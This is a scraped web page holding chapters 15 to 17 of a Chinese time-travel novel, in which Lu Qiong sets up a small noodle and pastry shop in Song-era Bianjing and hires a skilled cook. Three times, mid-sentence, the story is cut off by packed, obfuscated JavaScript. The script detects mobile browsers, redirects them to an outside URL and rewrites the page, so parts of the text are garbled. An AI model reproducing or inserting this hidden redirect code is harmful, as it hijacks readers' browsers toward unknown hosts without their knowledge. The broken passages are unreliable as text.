回去路上，陆萱想起芸姐儿那闹事的亲族，抱紧了怀里的糖罐子：“阿姐，我们有这般难缠的亲人吗？” 说到亲人，陆琼也不太清楚，记忆里原身父母就没出过上元村，可村中并没有她们的亲族，也从未探访过亲人。等她穿来时，原身父母便故去，她就更不知道这些。 不过对着陆萱，她也不能说这些：“应当没有，不过还是注意些，别叫人揪住把柄。” 到家时，也正好是晌午，家家户户都升起炊烟，街巷里飘散着各种菜香，陆琼她们也卸下东西，准备午食去。 15. 送糕点 今日做的是“角子”，也就是常说的饺子，陆琼花二十文买了猪肉，如今全剁碎了装在盆中。 带回来的菘菜还搁在院子墙角，陆萱也格外积极，跑到外边把菘菜拎回来，浸在水里，撕成一片片，再切成丝状，跟猪肉混成馅。 新买的面粉是细面，粉质细腻，一压就是顺滑的印子。陆琼舀了一大碗到空盆里，加了些温水和半勺盐，和成面絮，做饺子皮的得是死面，越韧越有嚼劲。多揉几次就成了光滑的面团，不沾盆也不沾手，还要搁在盆里醒上片刻。 她们房子有一处不好。晾衣杆就占了大半个院子，晒蜜饯的竹筛只能放在堂屋门槛边，等到午时太阳都晒不着，陆琼只好连着椅子把竹筛往外边挪。 杏子还是带着不少水，她随意拨弄、翻开，好让每一块都照到太阳，捏一小块放嘴里，酸味已经没起初大，更多的是甜味。 陆萱也跑出来，带着雪儿在晾衣杆下遮阴，一人一狗紧紧挨着，风吹起时，衣摆扬起又落下。 陆琼也坐在门槛上，想起小时候的衣杆上总会有洗好的床单。她会钻进去，边跑边闻洗衣皂的香味，即便长大模糊了记忆，还是能清楚记得那天的香味。 不过这院子着实小了。在上元村她还能划块地种菜，圈地养鸡养鸭，在这就有些限制发挥了。 汴京的鸡鸭鱼虽说比不得羊肉贵，但也比她在上元村卖得贵，就算现在有点小钱，但还是要斟酌半天才能买。 好在面已醒好，陆琼忙着搓长条、分剂子、擀饺子皮，倒也忘记了前边思索的事。她擀饺子皮习惯一手压皮，边转皮边擀皮，这样的皮便是中间厚四周薄的。 陆萱也没闲着，洗净手也跟着调馅料，打了个蛋黄，边加葱姜水边搅拌，还必须按一个方向搅拌，不然馅料会散，不好包，待馅料吸满汁水就能包饺子。 桌上饺子皮叠了好几撂，陆琼停下手，跟着包饺子，饺子皮放在手心，一勺白菜猪肉馅搁在上头，拉长皮边压实，饱满的饺子就放在甑上挨个摆好。 比起水饺，她跟陆萱都喜欢吃蒸饺子，倒也不会产生分歧。 很快就上锅蒸好，整个灶房都弥漫着香味，有些饺子没包好，不仅破口还流出不少汁水。 陆琼在桌上摆一小碗醋，还兑了酱，饺子蘸些醋，肉香更重，伴着酸味没几下就吃空一盘：“明晚就不出摊，专心把铺子打理好，赶着这几日就把铺子开了，晚一日就多废一天租金。” 陆萱咬一口热乎的饺子，肉汁顺着破口流下：“我们做什么吃的，还是卖熟水跟糕点？” 铺子的经营方向？这确实需要认真考量。汴京城内铺子林立，食铺就占上半数，其中大多又专卖一样吃食，像胡记包子铺、刘姐豆儿水或是张家蜜饯，剩下的就是业务广泛的酒肆，不仅提供各样吃食，时而还有说书、戏曲听。其实后世也这样，酸菜鱼、煎饼果子、煲仔饭、椰子鸡...... 以她们目前的财力，酒楼自是开不起，更何况铺子小，能坐满二十人就算是生意火爆。 陆琼前世开的是甜品店，最擅长的就是研究各样甜点，不过现下材料匮乏，有些限制她的发挥。牛乳价钱高，与黄油类似的酥油也是珍贵，倒是皇家舍得用，开发出不少奶制品，像奶酪、酥酪、杏仁豆腐还有醍醐。 “先看着吧，熟水还是照常做，糕点也是，到时可以多做几样。” 陆萱见她有其他主意，倒也不着急，专心吃起“角子”，这皮真有嚼劲，就算不蘸醋也好吃！ 吃完午食，她们便去午睡，这是常年养成的习惯，即便再忙也会到床上躺着歇会儿。陆琼的睡房临近后街，木窗开了一条小缝把风吹进来，心里还想着铺子的事，刚有点念头就进入梦乡。 下午照常要准备出摊，总归是要跟常光顾的食客告知一声，若是运气好还能把他们带到铺子里。 这么想着，陆琼更是干劲十足，把山药倒进木盆里，搓净表皮的泥，盆里的水换了三次才洗好。山药削皮、切块，放到甑上大火蒸，上午泡好的豆子也沥干水，一并放进去。 院里还传来陆萱的笑声，这是在陪雪儿玩沙袋。 陆琼学过几下针法，就把先前不要的粗布缝成沙袋，里边填充了些干稻草，还夹了几块石头增重，当做是雪儿的玩具，它平时待在家都没地方撒欢。 有了沙袋，陆萱就蹲在堂屋前，把沙袋向外抛，雪儿就会跳起来咬住，枯燥的游戏也能玩得乐此不疲。 陆琼这也忙得差不多，近一月的功夫，她已经孰能生巧，不用怎么思考，手下的动作就先做好，压山药泥、包馅料、装模具，没费多少时候就做成。 山药糕新鲜出炉，还冒着热气，她挑着形状最好的五块装在油纸上，包好绑上麻绳，没多耽误就要给何六娘送去。 陆琼脚刚迈出门一步子，还不忘叮嘱：“熟水还在煮着，水沸了记得灭火。” 陆萱还在给雪儿顺毛，脑袋频频点头：“知道了。” 临近傍晚，白天出坊做事的人回来，手里还拎着各种好吃的，闻着香味，好像是桂花酒！ 难怪说酒香不怕巷子深，陆琼只是闻着都成馋鬼了，见这陶瓮上贴着一个“戴”字，怕不是戴楼的酒。也不是谁都能酿酒，只有朝廷准许的“正店”才能到官家买酒曲，每家酿出的酒又各具特色，戴楼最出名的便是桂花酒，价钱也要好几百。 汴京里能酿酒的酒楼也就几家，都是传承下来的老店。等到她有本事去找官家买酒曲，那她的铺子名气必定不小，啧啧，不说名扬天下，至少在汴京里也能说的上号。 心里做着美梦，不知不觉便走到何六姑家。 因着门槛高，她要提裙摆迈上好几步台阶，推门便是扑鼻的鱼腥味。 门上挂着排排蓑衣、斗笠，院里左边晾着柳条编的罩子，还有用竹竿做成支架的罾网，都是用来捕鱼的工具。 何六姑正好在收网，见陆琼来了还有些惊奇：“这么早来了，我还想着晚上去州桥找你。” 陆琼笑着：“这不是刚做好，见时间还早就顺带送来了。” “难怪跟你买熟水的人多，嘴比熟水还甜，”何六姑把网收到一边，提起一桶鱼过来，“还剩了些小鱼，你想要就带几条走。” 何六姑一家四口全是养鱼的，在城郊有一片鱼塘，前些天下雨还要加固鱼塘，毕竟去年水势一涨，鱼儿溜走近半。好在今年下的是小雨，没有什么损失，这几条鱼对何六姑来说就不算什么。 见推脱不过，陆琼就收下，只是想着下回不能要何六姑的钱，不然越欠越多。 到夜里，出行的百姓游过画舫，在江边闲散漫步，与友人倾谈白日里的琐事，渐渐地走到州桥上，驻足在熟水摊，饮一碗冰凉的杨梅渴水，即解渴又清暑。 “小娘子今日可是有好事？”沈卿笑着。 陆琼正打包糕点，就差盛上一份熟水，也笑：“说不上好事，就是明日起不出摊了。” 沈卿皱眉：“这是为何，不出摊怎么会是好事？” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788998|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼解释：“我在陈记鱼铺对面盘了铺子，明日要去打理铺子，过上几日才能开业。” “这确实是好事。”沈卿这才展开眉头，并对她道贺。 陆琼也没跟他客气，这半月来沈卿没少光顾她的生意，不愧是宋人，就是偏爱甜食。 还不忘跟食客宣传新铺子，并说那日介绍客人来能多赠一份糕点，仅限前二十人。 穿长衫的郎君站在推车前，不大相信：“小娘子说的可是真的？” 陆琼笑道：“到时只管带人来。” 就是其他铺子的食客听了也觉得稀奇，可没听过带人去还能送糕点的，不论信与不信，这名声也都打出去，到时看热闹的人定是不少。 谢家今晚也派人来取糕点，还多要了山药枣泥糕，说她家老夫人爱吃甜的。陆琼帮忙装在食盒里，才对那小娘子解释铺子的事，还好她通情达理，说自己到铺子取便是，还省些路途。 陆琼也差不多准备收摊，隔壁卖果子的大娘也憋不住话，劝道：“小娘子，你怎么能白送糕点，这可是会亏钱的。” 陆琼挨个盖上食盒，放到推车下，知道她是好心，便笑着：“婶子，我有分寸的，定不会亏钱，到时食客一多，就不怕挣不到钱。婶子若是不信，到时便来看看。” 见她执迷不悟，大娘也不多费口舌，心里却想着她早晚要后悔。 第二日天还没亮，陆琼便起了。陆萱也难得没赖床，兴冲冲地蹲在地上做狗食，雪儿则在院子打着转。 因着今天要忙着搬东西到铺子里，早食熬份肉粥便草草解决。陆琼昨天还打了招牌，叫人写上“陆记食铺”，不过最快也要下午能送到。 还未到铺子，远远就望见单薄的身子立在门前，正是杨姐儿，见她们推着车来，赶忙卸下东西，一大袋面粉、半竹筐山药、十只碗。 灶头挨着墙，旁边就是石块砌成的台子，暂时能把粮食放在下边。铺子后边还有个小房间，陆琼打算把这里清空，到时找人打个木柜，用来存放各种粮食。 后门的街巷靠近河边，不用走远就能打水，到时便可在这清洗碗筷。 陆琼带了笔墨，记下店里缺少的东西，甑、盂、箸、案，放调料的陶瓮，柴火、皂荚、丝瓜瓤......林林总总加起来要五百文，先前找人打木料还花了两百文，开店真不容易，要不是前世有经验，她也不敢往这贴大钱。 还想把桌子往外挪，陆琼便跟杨姐儿合力抬起一张桌，没想到她看着细胳膊细腿，力气却这般大。陆琼几乎没出多少力，而杨姐儿还气都不带喘，真是捡到宝了！ 陆琼也不敢歇下，润润嗓子便道：“杨姐儿你在这扫扫地擦擦桌子，若是发现有什么坏的物件就记下来，等我们回来再说。” 说完就拿着记好的“清单”出去，陆萱没多跟杨姐儿道别，也跟着迈小碎步赶上去。 未走几步便是杂货铺，还是先前陆琼刚来汴京那家，跟掌柜说好要的物件，店小二就一样样找出来，还帮忙送到铺子里。随后到别处买了不少食材，各种熟水的药材、常见的糕点馅，没多察觉便又花去三百文。 这些天在汴京正的钱，不到两天就被掏空，只留有下月的租金钱，对陆琼来说算是重头开始，不过也对未来充满期待。 回去时，木匠那边已经派好人送招牌，正等着她回来。陆琼站在门外，仰头指挥两位学徒挂招牌，就在门上正中的位置。 招牌挂好，陆琼也露出笑，“陆记食铺”很快便能正式开张！ 16. 冷淘面 不知不觉便忙到晌午，早食吃的肉粥很快就消耗尽。见铺子也整理好，她们就决定在这生火，顺带熟悉灶房的动线。 新买的锅还得先开锅，陆琼便舀水把锅刷一遍，陆萱就在下边加柴，小火热锅，倒点油刷开，要用锅时再洗净就可。 见杨姐儿还在擦桌腿，也不知擦过几次，木料上打的蜡都要被带下来，陆琼干脆把人叫过来：“杨姐儿，你可会揉面？” 杨姐儿瘦小的手还攥着湿粗布，对上陆琼视线又怯怯低下，抿嘴小声道：“会一点。” 陆琼心下也有考量，取出石板下的面粉，盛一勺到盆盂内，笑道：“今儿手劲不足，正好你来揉面，顺带做一道你拿手的面食。” 这也是想看看杨姐儿的本事，毕竟招待客人这事她跟陆萱两人也能忙得过来。不过她总有不在铺子的时候，还得再雇一人帮忙下厨，要是杨姐儿手艺好那更是锦上添花。 杨姐儿听这话瞬时抬起头，时下的女子虽能从事各行各业，但在食谱酒肆里，大多都是干打杂的活儿，能下厨的都是有经验的练家子。 被富贵人家聘为厨娘的女子，厨艺精湛，擅长炸、脍、脯、腌、酱等烹调手法，能挣许多钱，可没少被人羡慕。 杨姐儿也不例外，现在有机会她自然想抓住，朝陆琼点头，把粗布随手塞进腰间，走到灶头旁半人高的水缸，取水洗净手便要和面。 旁边摆着新买的调料，她先取一小勺盐撒在面粉上，再少量多次倒水，搅拌成面絮，见没有散开的面粉便开始揉面团。 陆琼也在一边瞎忙活，把新买的甑、盂用水冲几遍，余光却瞥向杨姐儿，很能吃苦，一直揉搓面团好似也不觉得累。且这手法一见就是常和面的人，随后便放下心来，还多了几分喜悦，毕竟以后她就不用早起和面了。 陆琼也洗净最后的一把木筷，哼哧哼哧拎着一堆东西到桌上晾干。 杨姐儿做事认真，并未察觉到有人观察她，在旁边摊一块光滑平整的木板，好方便她摔面。冷水和面就是费手劲，要搋面、摔面，才能叫面团吸水，增加面的韧性。 醒面的间隙，她还取来葱、蒜，依次剁成碎末装在木碗中备用，油、盐、糖、酱还有些青菜也搁在一旁。 揉面有三光——“面光”、“盆光”、“手光”。杨姐儿见面团醒得光滑柔软，便用木棍擀成薄薄的面皮，再铺上一层面粉折成三叠，很快就切成根根分明的条状。 那厢陆琼清点好家当，便就着桌边坐下，见陆萱整个人焉焉的，眼皮子都睁不开，有些好笑，正想说些打趣人的话，就闻到一股香味。 陆萱也眯眼皱着鼻子，像雪儿贪吃的模样，循着香味望去就见杨姐儿端来一碗面，上边还冒着热气，不禁脱口而出：“好香啊！” 托盘上放着一碗浇着金黄酱汁的面，撒有葱花，不仅卖相好还伴着葱油的香味，陆琼想起前世吃过的葱油拌面，忍不住口舌生津，一双眼紧紧盯着这碗面。 杨姐儿初次给生人露手艺，还有些生涩，腆着声音道：“平时最拿手的就是油葱汤饼，还加了些糖，不知道合不合口味。” 灶头还摆着两碗，这碗就让给陆萱吃。陆琼也不怕烫手，没用托盘直接就着碗底端过来，还没坐稳板凳便夹起一筷子。 粗细均匀的面条沾着酱汁，顺滑缠绕在筷子上，热气腾腾，她吸溜一口，便觉得灵魂得到洗涤，不仅揉的面条比她做的有嚼劲，调的酱料也咸香可口，若是有花生酱就更是一绝。不过现在也是真香，真好吃！ 陆萱是个小馋鬼更不用说，搬来汴京后总是顾着形象，现在嘴角沾着油亮的酱汁也不肯停下，依旧大口朵颐，没几下功夫便吃完一半。 她也是赞不绝口：“杨姐儿的手艺太好了！” 若不是陆琼在，陆萱都想说杨姐儿比她阿姐做得还好吃。 杨姐儿见她们都满意，心里的大石头总算落下，在一旁笑着回话，也挨着陆萱坐在凳子上吃汤饼。 给的分量很足，陆琼二人吃完都忍不住揉肚子，杨姐儿本该是最累的人，倒是比她们矜持多，乖乖收好碗筷就端正坐在一旁。 陆琼喟叹：“你都能去给人家当厨娘了，到我这着实是屈才！” 这年头的厨娘哪个不是年轻貌美，厨艺极佳的，最顶好的厨娘登门做宴席还要上百两，寻常小厨娘一日也要上百文，她竟然才给人一月三百文。 她边摇头，边品一口新泡好的花茶，这日子真舒坦。 杨姐儿两手交叠放在腰前，在自己擅长的领域着实比先前有底气，却依旧谦卑，笑着道：“是小娘子谬赞，若不是小娘子给机会，我也没办法小露一手。” 陆琼也欣赏她这种不扭捏的态度，毕竟往后还要招待客人，还得学会察言观色，稍加伶牙俐齿。 加上杨姐儿手艺实在无可挑剔，她也吃得舒坦，干脆把这下厨的活儿交给她做好。这样一来，她们铺子就不只有熟水、糕点，还有汤饼，可以满足不同客人的需求。 这般想着，陆琼也满意点头：“还有什么擅长的汤饼，都一并试试，明日开业就立即给食客们尝尝。” 杨姐儿听懂她的意思，赶忙笑着道谢，没敢多耽误就去做多几样汤饼，手下面团越揉越有力道，刀也嚓嚓落下，把面团做出花样来，镈饦、冷淘面、梅花汤饼...... 陆琼二人一样样试过去，最喜欢的是冷淘面，类似于凉面，面条煮好后过冷水，凉爽弹牙，加上调好的酱汁，酸甜爽口，重口的还能多加些花椒，味道丰富不生腻，当时夏日必备吃食。 “杨姐儿这道槐叶冷淘，面片顺滑，加上胡瓜丝、萝卜丝，味道清爽，拌上酱汁却又不会叫人觉得清淡，称得起是上等！”陆琼也渐入佳境，认真品尝，毫不隐藏对杨姐儿的夸赞。 陆萱也边吃边念叨着“香”、“好吃”、“好极了”......翻来覆去已经言语匮乏，但从神情也能看出她这是享受极了。 没有分歧，“槐叶冷淘”被二人推选为陆记的招牌菜，陆琼也给杨姐儿涨到一天四十文，比先前翻了好几倍，杨姐儿也变得更有干劲。 因着一斗面粉能做三十来碗面，加上人工、柴火、租金，一碗素面的成本大致是四五文，她们便决定给一碗面定价十文，加面不加价，另外加肉要多给五文。熟水、糕点还是按原先的价钱，五文一份。 到下午，谢家的侍女托人带话，谢家有事，不必准备她家娘子的吃食，陆琼也乐得清闲，跟着陆萱回去歇着。 与芸姐儿作契那日，她也顺道去街道司注册并缴纳税费，这样下来州桥的公凭便不会再续。 除此之外，陆琼还请人用竹木跟彩帛搭建了一座简易的彩楼欢门，刻上精美图案和花纹，虽比不得酒楼的规模，却也喜庆、热闹，令人眼前一亮。 大门两边还设有灯箱，届时点上蜡烛便能在夜里吸引客人。 本还想找人印刷“宣传单”，但木板的雕刻还需些时日，加上印刷、上墨时间便会来不及，只好作罢。 夜幕降临，通济坊街巷静谧，一抹月光洒进堂屋，陆琼执笔跪在堂前，案桌上叠有十来份纸张，写着广告词——“新店开张，赠送糕点......陆记食铺位于州桥旁，临相国寺，欢迎各位品尝！” 好在陆记食铺不是专营早点的铺子，陆琼昨晚熬了大夜，天蒙蒙亮她才起来，路过胡记包子铺还顺带买了四五个菜包、两个肉馅馒头。 从后门进的铺子，便见杨姐儿早早生火，已按陆琼的叮嘱做好杨梅渴水、绿豆水，如今正冒着热气，整个屋子都是香甜的气味。 陆琼把包子放到桌上，叫杨姐儿过来：“估计你还没来得及吃早食，就给你也买了些，喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804837|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么自个拿。” 经过昨日的相处，杨姐儿也没有先前那般拘谨，道谢后便拿了一个素馒头吃，刚出炉还带着热气，吞下就觉得饥肠辘辘的肚子舒服多。 不愧是胡记，包子皮都是带着甜味的，越嚼越香！ 锅上还蒸着糕点要用的馅料，陆萱主动去灶台看火，手上拿着肉馒头就挨着矮凳坐下，见时候差不多就减柴，焖上片刻便能出锅。 期间杨姐儿一直找活干，先是搬东西，再是主动压山药泥。陆琼平时怕烫手，拿山药之前要沾水，杨姐儿却是眼睛都不眨一下，徒手取出好几块山药，再放到器皿中压实，一套动作下来干脆利落，陆萱跟陆琼见了皆为此佩服。 今儿的山药份量很足，加上赠送给客人的那份，总共能做一百多块糕点。余下绿豆糕、桂花糕、小甑糕较为清淡，也能有山药糕的一半量。 趁着铺子还未开，陆琼拿着昨夜费心写好的“宣传单”到街上去，就见州桥下围着三五个人，看着不过十一二岁。其中一位生得清秀，在给旁人说故事，一个故事就能挣两文，瞧着很有经商头脑。 陆琼把他叫过来，弯下身子笑道：“你这故事从哪听来的？” 杜哉把别人给的铜板塞进裤腰带，就听见有人叫他，还是位好看的小娘子，便学着书生模样给陆琼行礼：“听别人说书就能把故事记得差不多。” 这记性也太好，陆琼都有些羡慕。 想着手中还有“宣传单”要发，她干脆就把这活儿交给杜哉，还商讨好给他十文做报酬，若是客人多，午时还能再到铺子多领十文。 杜哉看着就机灵，收好钱就去办事。陆琼也乐意当个甩手掌柜，哼着小曲悠哉悠哉回去。 杨姐儿已经开始和面，甑上摆满了糕点，切得方正、大小均匀，粉质细腻，看着就暄软，陆琼稍微摆弄下，也准备开业。 木门一开，屋里香气更是飘到街上。 不到一刻便聚集不少人，昨晚的小郎君确实带着人来，加上他一共是三位小郎君。陆琼还承诺给他们多送两份糕点，小郎君听着心情大好，又见锅里还煮着东西便问那是什么。 陆琼取出三份山药枣泥糕到油纸上，盖好食盒才道：“做的是汤饼，有镈饦、葱油汤面、槐叶冷淘......” 说着杨姐儿便盛出一份葱油汤面，香气四溢，引得众人口水直流，陆萱也绕到灶台，把这份葱油汤面端在托盘一并给食客送去。 品尝的是位秀气的小娘子，见一行人都悄悄看着她，脸上浮起红晕，郎君还念着礼俗不敢直直盯人，其他娘子倒是问出声：“小娘子，这汤饼可好吃？” 小娘子只好点头。 陆琼也瞧出她的不自在，主动解围：“各位客官别光瞧着别人的，好不好吃只有试过才知，今日开业，先来的客官还能饮一碗免费的熟水！” 先前的小郎君听她一说，立即要了一份冷淘面、两份葱油汤面，实在是这汤饼太香了，可不是他想占便宜！ 陆琼也记在账上，收下三十文便叫陆萱把人带到墙边的位置，还端上几碗熟水，其他的食客见了也纷纷点菜。 “我也来一份葱油汤面！” “要两份镈饦，还有小甑糕。” “好咧，都给记着。”陆琼忙得晕头转向，几乎插不上话，收到钱也顾不得数直接放钱筒里，可算是知道什么叫收钱收到手软。 经营下来，她也发现铺子的弊端——少了菜单。食客不知道菜品跟价钱，要反复询问，一来二去就费不少时间，不过现下的重任是招待客人，余下的只能日后再说。 杨姐儿手下都忙出飞影，汤饼出了一碗又一碗...... 所有人都忙得晕头转向，端茶递水、收碗洗碗，忙活下来都没间隙吃午食，等到未时客人渐渐散去，她们才能轮流吃上一点汤饼。 17. 吃馓子 谢询刚从画舫上来，便收到旁人递来的一张纸，字迹娟秀，看着便是赏心悦目，忍不住念出声：“新店开张，赠送糕点......” 青弦这些天跟着谢询四处走动，从未好好歇过，现在只想来一碗热乎乎的汤饼，好慰藉自己孤寂的心灵。 几乎是听到“糕点”二字，他便振作起来，劝着谢询：“小郎君，今日不妨就到这陆记食铺去，方才就听人说她家汤饼不错，尤其是葱油汤饼，香极了。” 谢询操劳半天，也有些疲倦，正好去品尝这诱.人的汤饼，收起纸张到胸襟里，便迈开步子去往州桥。 铺子内只剩下三两位食客，陆琼打算等他们一走便歇业，下午回去还能补个午觉。 谁想又来了新食客，还是先前碰见过几次的小郎君，陆琼也好生招待他们：“二位小郎君想吃些什么？” 谢询见是陆琼也笑着行礼，先前相国寺一别就在州桥遇见过几次，她做的糕点可谓是甜而不腻，实在是符合他的口味。 “一份葱油汤饼。”青弦打断他的思绪。 见陆琼也笑着望向自己，谢询也不多耽误，清下嗓子便道：“一份冷淘，劳烦小娘子。” 桌上的茶已凉，陆琼便去新泡一壶，添上茉莉花茶末，倒入沸水，淡淡的茉莉花香就萦绕鼻尖。 她还端上一小盘冰糖：“若是味苦，小郎君可自行加些冰糖。” 谢询道谢，随后便端起茶盏小酌一口，干燥的口舌也算是温润不少。 一盏茶的功夫，冷淘面便做好，陆琼亲自端过去，递给谢询：“小郎君慢些享用。” 青弦饿得慌，语气急了些：“小娘子，我的汤饼怎么还没好？” 谢询训斥他：“不得无礼。” 陆琼拿走托盘，心生好感，笑道：“无事，冷淘面是早先就过了凉水的，调好酱汁便可上桌，葱油汤饼则是现揉的面，所以费些时间。小郎君可先饮一盏茶解解饥。” 所幸食客不多，杨姐儿也很快做好葱油汤饼，陆琼把这碗热腾腾的汤饼端到桌上，面皮白溜，葱花点缀，可谓色香味俱全。 青弦立即尝一口，呼着热气：“真好吃！” 谢询也不甘落后，先是赞叹冷淘面色泽透亮，宛如青竹下生出的枝叶，再是夸赞陆琼的厨艺，总结下来便是很合他口味，下次还想光顾。 好话谁都爱听，但陆琼还是笑着解释：“小郎君误会了，这冷淘是我家厨娘做的，我还做不出这般好吃的汤饼。” 槐叶冷淘的面皮的确不易制作，需取刺槐的嫩叶，掐尖洗净，焯水再过凉水，捣出汁水到面粉中，才能做出淡青色的面皮。陆琼嫌麻烦，从未亲自试做过，但尝了杨姐儿做的槐叶冷淘也立即爱上。 谢询也自知闹了乌龙，只好讪讪笑：“小娘子亦是手巧，做的糕点甚是美味，还能经营起如此食铺，更是德才兼备。” 陆琼听这话，心里也更美，结账时还多增了几份糕点，反正是新店开业，不怕吃这点亏。 下午闭店，叫杨姐儿跟陆萱先回去，她则去杂货铺找掌柜再要了几斗面粉。今日的食客都太热情，冷淘卖出一份又一份，实在是做不过来。 等到傍晚，来吃面食的人少，更多的是在城内闲逛，买熟水、糕点解馋的，许是在家中享用过晚食，又或是张灯结彩的酒楼更吸引人。 叫陆琼惊喜的是，还有人叫闲汉专门来光顾她家汤饼，幸好要的是冷淘，不然她怕送到时面都坨了。 她一边偷乐，一边帮忙装到食盒：“两份槐叶冷淘，四份小甑糕，两份渴水，小郎君路上慢走！” 送走闲汉后陆琼就更清闲。 早上做的糕点还剩下一些，今日应当能卖光，她给自己拿了两份桂花糕，就坐在角落蘸着茶水吃，化了的糕点不会噎人，还有点像“饼干”泡牛奶的口感。 灶台的火还一直烧着。 她整个人也跟着热出汗，顺手拿一把蒲扇轻轻扇风，就见金娘带着霜姐儿来了，这下糕点不吃，风也不扇，扯着霜姐儿头上的小花绳笑嘻嘻：“你们怎么来了？” 金娘撑着腰笑：”来看热闹，你这铺子上午风头可大，拉新客送糕点这法子也只有你想得出。” “也不算是。”陆琼耳红。 毕竟这是承了前人的智慧，并非她独自想出的“营销手段”，又想着她们一路过来也不容易，便叫杨姐儿做一碗冷淘，给她们尝尝店里招牌菜。 金娘不跟她客气，找地儿坐下便四处打量，装潢朴素，桌椅整齐，灶台干净，一揭锅香气就飘散到整个铺子。 她心情实在复杂，先前两人还在龙津桥摆摊，这才一月，人家就盘下铺子，还把生意做的风生水起，说不上嫉妒，毕竟琼姐儿确实有本事。 在她们聊天的间隙，杨姐儿也端来冷淘，放得料更足，酱汁跟面皮混在一起，金黄透亮，看得霜姐儿口水直流。 霜姐儿不太擅长用筷子，刚夹起几根，面皮就溜下去，金娘给她分短些，还换了勺子才好点。 金娘也得空尝几口，评价道：“这冷淘真不错，怕是揉面就费不少劲，那小娘子手艺也是极好。” 可不是，今日光顾的食客大半是夸杨姐儿做的汤饼，陆琼平时常卖的糕点都衬得不受欢迎。不过能挣钱她就乐意，还得给杨姐儿这个最大功臣涨工钱。 提前道过喜的沈卿也迟来，向陆琼解释说今日有事耽误，随后跟她要一碗镈饦。 鲜香嫩滑的镈饦呈上，陆琼打趣道：“感谢小郎君不辞万里，前来光顾寒店。” 沈卿笑着反夸她：“小娘子心灵手巧，经营得当，日后定是汴京有名的食铺。” 不愧是读书人，夸人都是一套套的，陆琼也发觉今天的人都嘴甜，大概是功成名就后，身边的都是好人？ 花言巧语总能讨人欢心，陆琼给她打包几块剩下的山药枣泥糕，面上却是为他着想：“给小郎君增上爱吃的糕点，都是按着口味选的。” 沈卿哑言，想起他先前买糕点时的借口，只好收下，心里想着该怎么解决这些腻人的糕点，怕是又要便宜学堂里的学生。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809805|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说起学堂，他也想起一事，便与陆琼商讨起来：“次月应天书院便要举行诗会，小娘子可有与兴致拿下诗会要用的茶点？” 诗会？陆琼也有所听闻。参与诗会的都是书院学子，他们在会上吟诗作赋，相互切磋技艺，年年都能创作出令众人传唱的诗作。 她这是要提前见识名人的诞生？ 有这热闹定是要去看看，没多犹豫便应下，不过还得得到书院山长的允许，她打算这几日就去找山长谈谈此事。 金娘在一旁观察许久，见沈卿离开，才敢拿陆琼打趣：“那小郎君怕不是倾心于你？从进门到出去，视线就未曾远离过你。” 陆琼笑着摆手：“今天进铺子见过我的人没有一百也有八十，照你这说法岂不是个个都相中我了？” 金娘叹道：“小娘子说话如此孟浪，怎的就不开窍呢？” 说完便摇头，真是郎有情妾无意，可怜那小郎君一片苦心，从龙津桥跟到州桥，现如今还跑来铺子，也是错付了。 陆琼不知她在惋惜何事，也不太在意，乐呵着算账去。 今天卖出八十来份素面，一百多份糕点，加上熟水也卖光，除去白赠的糕点和成本，纯利润也有八百多文！还没捂热，又要数出一半的钱当做明日购买食材的钱，把她心疼得不得了。 不过给杨姐儿结工钱时，却是大方，陆琼没想到今日能挣这么多钱，一时高兴，便给杨姐儿六十文，把杨姐儿也高兴得说不出话。 陆琼怕以后闹矛盾，提前泼冷水：“只是今日生意好才加钱的，日后生意差就按四十给了。” 杨姐儿也明事理，领完钱便帮忙收拾残局，赶着明月一路回家去。 陆琼也跟陆萱挨着肩膀回去，路过州桥的摊子又走不动路，直直盯着人家的馓子看。 “小娘子可要来份馓子，新鲜出炉，炸得酥脆鲜香。”卖馓子的人家手里还在不停和面，抻成细条放入油锅中炸，顿时成金黄酥脆的环形，引得人口水直流。 陆萱不能拒绝这种美味，便扯扯陆琼的衣袖，乖乖叫道：“阿姐。” 陆琼也跟着馋，州桥夜市的美食实在太多，坚持过夜不吃东西的她也尝尝破戒，从钱袋数出十个铜板，跟摊主要两份馓子。 摊主收下钱，边揉面边问：“可要多加糖？” 见陆萱点头，她便多撒一勺糖，慢慢搓成长条，围成环，不过片刻馓子就炸好，一碰就碎，还烫手。 陆琼捏着热乎的馓子，放嘴里便发出酥脆响声，油炸的东西都好吃，热量也高，不过眼下被好吃的堵住嘴，也来不及思考旁的事。 “阿姐，我们怎么不卖馓子啊？” 陆琼揽着陆萱肩膀，轻轻掐住她鼻子：“我们就两个灶口，都用来煮汤饼了，哪有多余的来煎炸东西。再说，我们也不会做馓子啊，到时卖不出去怎么办？全进你肚里？” 陆萱见计谋被识穿，只好笑着把一块馓子塞进陆琼的嘴。 二人一路打打闹闹，寂静的街巷也充满烟火气...... 